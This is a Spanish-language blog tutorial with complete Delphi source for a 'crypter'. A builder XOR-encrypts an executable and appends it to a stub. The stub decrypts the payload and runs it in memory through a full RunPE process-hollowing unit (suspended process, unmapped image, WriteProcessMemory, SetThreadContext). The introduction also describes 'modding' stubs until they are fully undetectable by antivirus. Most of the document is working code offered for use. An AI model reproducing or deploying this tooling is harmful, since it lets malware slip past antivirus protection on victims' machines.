Crear un crypter con Delphi

01 : Introduccion
02 : Creacion del Builder
03 : Creacion del Stub
04 : Probando el Crypter
05 : Creditos

-- =================--------

0x01 : Introducción

Un crypter es un programa para encriptar el código fuente de un programa. Sólo lo hago en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.

¿Cuáles son las partes de un crypter? 

En general, un crypter tiene dos partes ° El Builder, el stub °. El Builder es la interfaz que codifica nuestro archivo y utiliza las opciones que trae, de acuerdo con el programador que hizo el crypter . El stub es un archivo ejecutable (. exe) o un archivo. Dll .

¿Cómo consigue el 'stub' arrancar el 'programa cifrado' directamente en memoria sin que este toque el disco?.
 Para ello, el 'stub' utiliza una técnica o procedimiento llamada '
Dynamic Forking' o 'RunPE'. Está técnica es muy antigua, pero sigue siendo totalmente válida y funcional a día de hoy.

Dynamic Forking o RunPE

Una vez el 'stub' se ha ejecutado, lo primero que suele hacer es localizar dentro del binario el 'programa cifrado', a continuación localiza la clave de 'cifrado/descifrado' e inicia el proceso de descifrado del programa en memoria. Acto seguido, el stub arranca un segundo proceso, de si mismo o de un ejecutable cualquiera del sistema, es indiferente. Pero lo hace invocándolo con una propiedad denominada CREATE_SUSPENDED. Con ello lo que se consigue es cargar en memoria dicho ejecutable y los datos  de contexto necesarios para su ejecución, pero no llega a arrancarlo, está 'suspendido'. A continuación, a partir de la dirección de memoria donde se encuentra la cabecera y secciones del proceso suspendido, sobrescribe éstas con las del ejecutable  ya descifrado que tiene en memoria. A partir de ahí, obtiene los datos de contexto del archivo suspendido y los sustituye por los datos del nuevo ejecutable, el programa principal. Estos datos son básicamente la dirección base y el punto de entrada del nuevo ejecutable (EP: Entry Point). Por último,relanza el proceso suspendido, consiguiendo que se ejecute el programa en lugar del ejecutable suspendido invocado inicialmente. Así de simple y así de elegante.

Entonces, ¿cómo es posible conseguir un 'stub' indetectable?

Generalmente al proceso de 'retoque' de un 'stub' para volverlo 'indetectable' se le conoce con el nombre de 'modding', y  éste tiene dos modalidades, el 'modding' desde 'código fuente' (o 'source') o desde el 'binario'. En general, lo más óptimo es combinar ambas, ya que hay firmas sencillas de sacar desde el código fuente, pero para sacar las más complejas, generalmente, hay que recurrir a retocar el 'binario'. Además, el 'modding' se aplica muchas veces para sanear un 'stub' detectado, pero no se cuenta con el código fuente del mismo, y es por esta razón por la que se utiliza muy habitualmente y de forma exclusiva el 'modding' desde binario.

Por tanto, a modo de recapitulación, el objetivo de todo 'modder' es dejar el 'stub limpio', 'indetectado', es decir 'FUD' y para ello, ha de 'retocarlo', a través de un proceso conocido como 'modding' que se sirve de múltiples técnicas para conseguir, por una parte, localizar la firma del AV, es decir, descubrir dónde, en qué bytes, el AV ha 'marcado' el ejecutable, y por otra parte, ser capaz de alterar esa secuencia de bytes de manera que el AV ya no detecte más el 'stub' y éste continúe siendo funcional.
 Fuente: http://www.securitybydefault.com

Empecemos ...

0x02 : Creación del Builder

Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :


Despues agregamos los siguientes elementos al formulario :

* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)

El Edit contendrá la ruta del archivo a encriptar , el primer boton sera para buscar el archivo , el segundo botón para encriptar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.

Entonces al primer botón lo ponemos al lado del Edit1 y le ponemos de texto al botón : "Load" , el segundo botón viene abajo del Edit1 y le ponemos de texto "Encrypt"

Tambien si quieren pueden poner un titulo al Form desde la opción de "Caption" del formulario , en mi caso pongo "Crypter".

El formulario les debería quedar así :


Entonces hacemos doble click en el botón "Load" y ponemos el siguiente código :

Código: Delphi
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. begin
  3.   if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  4.   // del archivo a encriptar
  5.   begin
  6.     Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
  7.     // la ruta del archivo marcado en el openDialog1
  8.   end;
  9. end;

Ahora hacemos doble click en el botón "Encrypt" y ponemos el siguiente código :

Código: Delphi
  1. procedure TForm1.Button2Click(Sender: TObject);
  2. var
  3.   codigo: string; // Declaramos la variable "codigo" como string
  4.   key: integer; // Declaramos la variable "key" como integer
  5.   separador: string; // Declaramos la variable "separador" como string
  6.   linea: string; // Declaramos la variable "linea" como string
  7. begin
  8.   separador := '-barra-';
  9.   // Establecemos el valor que tendra la variable "separador"
  10.   key := 123; // Establecemos el valor de la variable "key" como 123
  11.   codigo := xor_now(leer_archivo(Edit1.Text), key);
  12.   // Leemos el archivo que hay en
  13.   // la caja de texto y encriptamos con XOR el contenido usando una key
  14.   CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
  15.     Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  16.   // Copiamos el stub.exe con el nombre de done.exe
  17.   linea := separador + codigo + separador + IntToStr(key) + separador;
  18.   // Establecemos
  19.   // la variable "linea" con el valor de contenido del archivo encriptado con
  20.   // XOR y la key del cifrado XOR
  21.   escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  22.   // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  23.   // tambien ponemos el valor de la variable "linea"
  24.  
  25.   ShowMessage('Done');
  26. end;

El código les debería quedar algo así :


Para poder usar este código debemos crear una Unit  desde "File->New->Unit" como en la siguiente imagen :


Una vez creada pongan el siguiente código :

Código: Delphi
  1. // Unit : Tools for Crypter
  2. // Coded By Doddy Hackman in the year 2015
  3. // Credits : Based on OP Crypter By Xash
  4. // Thanks to Xash
  5. unit tools;
  6. interface
  7. uses SysUtils, Windows;
  8. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  9. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  10. function leer_archivo(archivo_a_leer: String): AnsiString;
  11. function xor_now(texto: string; clave: integer): string;
  12. implementation
  13. function xor_now(texto: string; clave: integer): string;
  14. var
  15.   numero: integer; // Establecemos la variable "numero" como integer
  16.   contenido: string; // Establecemos la variable "contenido" como string
  17. begin
  18.   contenido := ''; // Vaciamos el contenido de la variable "contenido"
  19.   for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  20.   // la longitud de la variable "texto"
  21.   begin
  22.     contenido := contenido + Char(integer(texto[numero]) xor clave);
  23.     // Encriptamos los datos
  24.     // con XOR
  25.   end;
  26.   Result := contenido; // Devolvemos el resultado de la funcion como el valor
  27.   // de la variable "contenido"
  28. end;
  29. function leer_archivo(archivo_a_leer: String): AnsiString;
  30. var
  31.   archivo: File; // Declaramos la variable "archivo" como File
  32.   tipo: Byte; // Declaramos la variable "tipo" como Byte
  33. begin
  34.   tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  35.   try
  36.     FileMode := 0; // Establecemos como "0" el FileMode
  37.     AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
  38. {$I-}
  39.     Reset(archivo, 1); // Leemos el archivo desde la primera linea
  40. {$I+}
  41.     if IoResult = 0 then // Si IoResult es 0 ...
  42.       try
  43.         SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
  44.         // variable "Result" como la longitud del archivo
  45.         if Length(Result) > 0 then
  46.         // Si la longitud del resultado es mayor a 0 ...
  47.         begin
  48. {$I-}
  49.           BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
  50. {$I+}
  51.           if IoResult <> 0 then // Si es distinto a 0 ..
  52.             Result := '';
  53.         end;
  54.       finally
  55.         CloseFile(archivo); // Cerramos el archivo
  56.       end;
  57.   finally
  58.     FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  59.   end;
  60. end;
  61. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  62. var
  63.   contenido: string; // Declaramos la variable "contenido" como string
  64.   limite: integer; // Declaramos la variable "limite" como integer
  65.   dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  66.   dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  67.   dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  68.   dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  69.   control1: integer; // Declaramos la variable "control1" como integer
  70.   control2: integer; // Declaramos la variable "control2" como integer
  71.   suma: integer; // Declaramos la variable "suma" como integer
  72.   numero: integer; // Declaramos la variable "numero" como integer
  73.   suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  74.   suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  75.   suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  76.   suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  77.   resultado: string; // Declaramos la variable "resultado" como string
  78.   contenido_final: string;
  79.   // Declaramos la variable "contenido_final" como string
  80. begin
  81.   if (FileExists(archivo)) then // Si existe el archivo ...
  82.   begin
  83.     contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
  84.     // en la variable "contenido"
  85.     suma_inicial_1 := Length(delimitador1);
  86.     // Calculamos la longitud de la variable
  87.     // "delimitador1"
  88.     suma_inicial_2 := Length(contenido);
  89.     // Calculamos la longitud de la variable
  90.     // "contenido"
  91.     suma := Pos(delimitador1, contenido) + suma_inicial_1;
  92.     // Calculamos la posicion del
  93.     // "delimitador" en la variable "contenido"
  94.     dividiendo := suma_inicial_2 - suma;
  95.     // Restamos las variables "suma_inicial_2"
  96.     // y "suma"
  97.       dividiendo2 := suma_inicial_2 - dividiendo;
  98.     // Restamos las variables "suma_inicial_2"
  99.     // y "dividiendo"
  100.     contenido := Copy(contenido, dividiendo2, suma_inicial_2);
  101.     // Copiamos las variables y las guardmamos en "contenido"
  102.     suma_casi_1 := Pos(delimitador1, contenido);
  103.     // Calculamos la posicion de "delimitador1"
  104.     // en la variable "contenido"
  105.     suma_casi_2 := suma_casi_1 + suma_inicial_1;
  106.     // Sumamos las variables "suma_casi_1"
  107.     // y "suma_inicial_1"
  108.     control1 := Pos(delimitador2, contenido) - suma_casi_2;
  109.     // Calculamos la posicion
  110.     // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"
  111.     control2 := control1 - 1; // Restamos en uno la variable "control1"
  112.     for numero := 0 to control2 do
  113.     // Realizamos un for usando desde 0 hasta el valor
  114.     // de la variable "control2"
  115.     begin
  116.       dividiendo3 := suma_inicial_1 + numero;
  117.       // Sumamos la variables varibles "suma_inicial_1"
  118.       // y "numero"
  119.       dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
  120.       // Calculamos la posicion de "delimitador1" en la variable
  121.       // "contenido"
  122.       contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
  123.       // en la variable "dividiendo4" para acceder a cierta posicion de la variable
  124.       // "contenido"
  125.       resultado := resultado + contenido_final;
  126.       // Sumamos las variables "resultado" y
  127.       // "contenido_final"
  128.     end;
  129.     if resultado = '' then // Si la variable "resultado" esta vacia ...
  130.     begin
  131.       resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
  132.     end
  133.     else
  134.     begin
  135.       Result := resultado; // De lo contrario mostramos el contenido de la
  136.       // variable "resultado" en resultado de la funcion
  137.     end;
  138.   end
  139.   else
  140.   begin
  141.     Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
  142.     // la funcion
  143.   end;
  144. end;
  145. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  146. var
  147.   abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  148.   // TextFile
  149. begin
  150.   if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  151.   begin
  152.     AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
  153.     // "ruta"
  154.     Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
  155.     // "abriendo_archivo"
  156.     try
  157.       begin
  158.         WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
  159.         // Escribimos los datos
  160.         // de las variables "delimitador1,"texto","delimitador2"
  161.       end
  162.     finally
  163.       begin
  164.         CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
  165.         // "abriendo_archivo"
  166.       end;
  167.       Result := True; // Devolvemos "True" como resultado de la funcion
  168.     end;
  169.   end
  170.   else
  171.   begin
  172.     Result := False; // De lo contrario devolvemos "False" como resultado de la
  173.     // funcion
  174.   end;
  175. end;
  176. end.
  177. // The End ?

Y para terminar la Unit guárdenla con el nombre de "tools".

Les debería quedar algo así :


Para conectar el formulario con la Unit debemos ir a los "uses" que están al inicio del código del formulario y agregar "tools" al final , quedando así :

Código: Delphi
  1. uses
  2.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  3.   Dialogs, StdCtrls,tools;

Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.

0x03 : Creacion del Stub

Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y después en la ventana que viene seleccionamos "Console Application" , con imágenes seria así :



Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :


Una vez creado ponemos el siguiente código :

Código: Delphi
  1. { uExecFromMem
  2.   Author: steve10120
  3.   Description: Run an executable from another's memory.
  4.   Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  5.   Reference: http://www.security.org.sg/code/loadexe.html
  6.   Release Date: 26th August 2009
  7.   Website: http://ic0de.org
  8.   History: First try
  9.   Additions by testest 15th July 2010:
  10.     - Parameter support
  11.     - Win7 x64 support
  12. }
  13. unit uExecFromMem;
  14. interface
  15. uses Windows;
  16. function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;
  17. implementation
  18. function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
  19. type
  20.   PImageBaseRelocation = ^TImageBaseRelocation;
  21.   TImageBaseRelocation = packed record
  22.      VirtualAddress: DWORD;
  23.      SizeOfBlock: DWORD;
  24.   end;
  25. procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
  26. var
  27.   l_i: Cardinal;
  28.   l_codebase: Pointer;
  29.   l_relocation: PImageBaseRelocation;
  30.   l_dest: Pointer;
  31.   l_relInfo: ^Word;
  32.   l_patchAddrHL: ^DWord;
  33.   l_type, l_offset: integer;
  34. begin
  35.   l_codebase := f_module;
  36.   if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  37.   begin
  38.     l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
  39.     while l_relocation.VirtualAddress > 0 do
  40.     begin
  41.       l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
  42.       l_relInfo := Pointer(Cardinal(l_relocation) + 8);
  43.       for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
  44.       begin
  45.         l_type := (l_relInfo^ shr 12);
  46.         l_offset := l_relInfo^ and $FFF;
  47.         if l_type = 3 then
  48.         begin
  49.           l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
  50.           l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
  51.         end;
  52.         inc(l_relInfo);
  53.       end;
  54.       l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
  55.     end;
  56.   end;
  57. end;
  58. function AlignImage(pImage:Pointer):Pointer;
  59. var
  60.   IDH:          PImageDosHeader;
  61.   INH:          PImageNtHeaders;
  62.   ISH:          PImageSectionHeader;
  63.   i:            WORD;
  64. begin
  65.   IDH := pImage;
  66.   INH := Pointer(Integer(pImage) + IDH^._lfanew);
  67.   GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  68.   ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  69.   CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  70.   for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  71.   begin
  72.     ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
  73.     CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  74.   end;
  75. end;
  76. function Get4ByteAlignedContext(var Base: PContext): PContext;
  77. begin
  78.   Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  79.   Result := Base;
  80.   if Base <> nil then
  81.     while ((DWORD(Result) mod 4) <> 0) do
  82.       Result := Pointer(DWORD(Result) + 1);
  83. end;
  84. function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
  85. var
  86.   PI:           TProcessInformation;
  87.   SI:           TStartupInfo;
  88.   CT:           PContext;
  89.   CTBase:       PContext;
  90.   IDH:          PImageDosHeader;
  91.   INH:          PImageNtHeaders;
  92.   dwImageBase:  DWORD;
  93.   pModule:      Pointer;
  94.   dwNull:       DWORD;
  95. begin
  96.   if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;
  97.   Result := 0;
  98.   IDH := pFile;
  99.   if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  100.   begin
  101.     INH := Pointer(Integer(pFile) + IDH^._lfanew);
  102.     if INH^.Signature = IMAGE_NT_SIGNATURE then
  103.     begin
  104.       FillChar(SI, SizeOf(TStartupInfo), #0);
  105.       FillChar(PI, SizeOf(TProcessInformation), #0);
  106.       SI.cb := SizeOf(TStartupInfo);
  107.       if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
  108.       begin
  109.         CT := Get4ByteAlignedContext(CTBase);
  110.         if CT <> nil then
  111.         begin
  112.           CT.ContextFlags := CONTEXT_FULL;
  113.           if GetThreadContext(PI.hThread, CT^) then
  114.           begin
  115.             ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
  116.             if dwImageBase = INH^.OptionalHeader.ImageBase then
  117.             begin
  118.               if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
  119.                 pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  120.               else
  121.                 pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  122.             end
  123.             else
  124.               pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  125.             if pModule <> nil then
  126.             begin
  127.               pFile := AlignImage(pFile);
  128.               if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
  129.               begin
  130.                 PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
  131.                 INH^.OptionalHeader.ImageBase := DWORD(pModule);
  132.                 CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
  133.               end;
  134.               WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
  135.               WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
  136.               CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
  137.               SetThreadContext(PI.hThread, CT^);
  138.               ResumeThread(PI.hThread);
  139.               Result := PI.hThread;
  140.             end;
  141.           end;
  142.           VirtualFree(CTBase, 0, MEM_RELEASE);
  143.         end;
  144.         if Result = 0 then
  145.           TerminateProcess(PI.hProcess, 0);
  146.       end;
  147.     end;
  148.   end;
  149. end;
  150. end.

Para terminar guardamos la Unit como "uExecFromMem" y el código nos quedaría algo así :


Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :

Código: Delphi
  1. uses
  2.   SysUtils, StrUtils, Windows, uExecFromMem, tools;

Después borren el "{$APPTYPE CONSOLE}" al inicio del código para que no se vea la consola al cargar el Stub.

Ahora debemos agregar el siguiente código que nos servirá para usar arrays en el Stub.

El código :

Código: Delphi
  1. type
  2.   otro_array = array of string;
  3.   // Declaramos el tipo "otro_array" como array of string

Después tenemos que agregar la siguiente función para manejar los arrays y los datos del Stub.

El código :

Código: Delphi
  1. procedure regex2(texto: string; separador: string; var resultado: otro_array);
  2. // Thanks to ecfisa for the help
  3. var
  4.   numero1: integer; // Declaramos la variable "numero1" como integer
  5.   numero2: integer; // Declaramos la variable "numero2" como integer
  6. begin
  7.   texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  8.   numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  9.   // la variable "texto"
  10.   numero1 := 1; // Establecemos la variable "numero1" como "1"
  11.   while numero1 <= numero2 do
  12.   // Mientras "numero1" sea menor o igual a "numero2" ...
  13.   begin
  14.     SetLength(resultado, Length(resultado) + 1);
  15.     // Establecemos la longitud de resultado
  16.     // a la longitud de la variable "resultado" mas "1"
  17.     resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
  18.     // Establecemos la variable "resultado" como la copia de las variables "texto",
  19.     // "numero1" y la resta de las variables "numero2" y "numero1"
  20.     numero1 := numero2 + Length(separador);
  21.     // Establecemos la variable "numero1" como
  22.     // la suma de la variable "numero2" y la longitud de ña variable "separador"
  23.     numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
  24.     // "separador" en el variable "texto"
  25.   end;
  26. end;

Ahora agregamos el siguiente código entre el begin principal.

El código :

Código: Delphi
  1. var
  2.   todo: string; // Declaramos la variable "todo" como string
  3.   codigo: string; // Declaramos la variable "codigo" como string
  4.   key: string; // Declaramos la variable "key" como string
  5.   datos: otro_array; // Declaramos la variable "datos" como otro_array
  6. begin
  7.   todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  8.   // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
  9.   regex2(todo, '-barra-', datos);
  10.   // Separamos los delimitadores que estan separados
  11.   // por "-barra-" en la variable "todo"
  12.   key := datos[2];
  13.   // Establecemos como "key" la segunda posicion del array "datos"
  14.   codigo := datos[1];
  15.   // Establecemos como "codigo" la primera posicion del array
  16.   // "datos"
  17.   codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  18.   // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  19.   // guardamos en la variable "codigo"
  20.   ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  21.   // Ejecutamos el codig en memoria
  22.   // usando la funcion "ExecuteFromMem"
  23. end.

Una imagen de como debería quedarles el código :


Para terminar guardamos el proyecto como "stub" y podríamos dar por terminado este corto capitulo.

0x04 : Probando el Crypter

Para probar el Crypter vamos a probarlo con una copia del programa mismo para encriptar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el botón "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa encriptado , simplemente lo abrimos y veremos el builder encriptado.

Unas imágenes :





Como ven el Crypter funciona correctamente.

05 : Creditos




No hay comentarios:

Publicar un comentario